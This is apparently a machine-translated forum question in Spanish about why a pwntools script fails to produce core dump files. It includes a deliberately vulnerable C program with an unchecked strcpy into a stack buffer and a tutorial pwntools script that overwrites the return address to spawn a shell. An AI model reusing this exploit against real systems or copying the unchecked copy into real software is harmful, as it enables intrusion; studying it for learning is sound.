Estoy tratando de usar pwntools y estoy siguiendo este tutorial para crear Corefiles para automatizar la explotación .
El código del ejecutable ./crash es:
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
system("sh");
}
int main(int argc, char** argv) {
char buffer[64];
strcpy(buffer, argv[1]);
}
Después, ulimit -c unlimited
si ejecuto el ejecutable (desde bash) con una entrada lo suficientemente grande, se bloqueará y generará los archivos principales.
Usando pwntools:
from pwn import *
# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(128)
# Run the process once so that it crashes
process(['./crash', payload]).wait()
# Get the core dump
core = Coredump('./core')
# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload
# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
cyclic_find(core.eip): crash.symbols.win
})
# Get a shell!
io = process(['./crash', payload])
io.sendline('id')
print io.recvline()
# uid=1000(user) gid=1000(user) groups=1000(user)
Si ejecuto este script (desde bash, tanto desde mi usuario como desde la raíz) con la misma entrada grande, se bloqueará, pero no generará el archivo central.
También intenté editar el /etc/sysctl.conf
archivo y configuréfs.suid_dumpable = 1
Mi sistema operativo es un Ubuntu 16.04.3 LTS x64 con un núcleo genérico 4.4.0-89.
ulimit -c unlimited
todos modos configuré la ruta para el volcado del núcleo y nada cambió (antes de esta configuración, el núcleo se generó en la misma carpeta del ejecutable) Sé que gcore, pero mi necesidad es diferente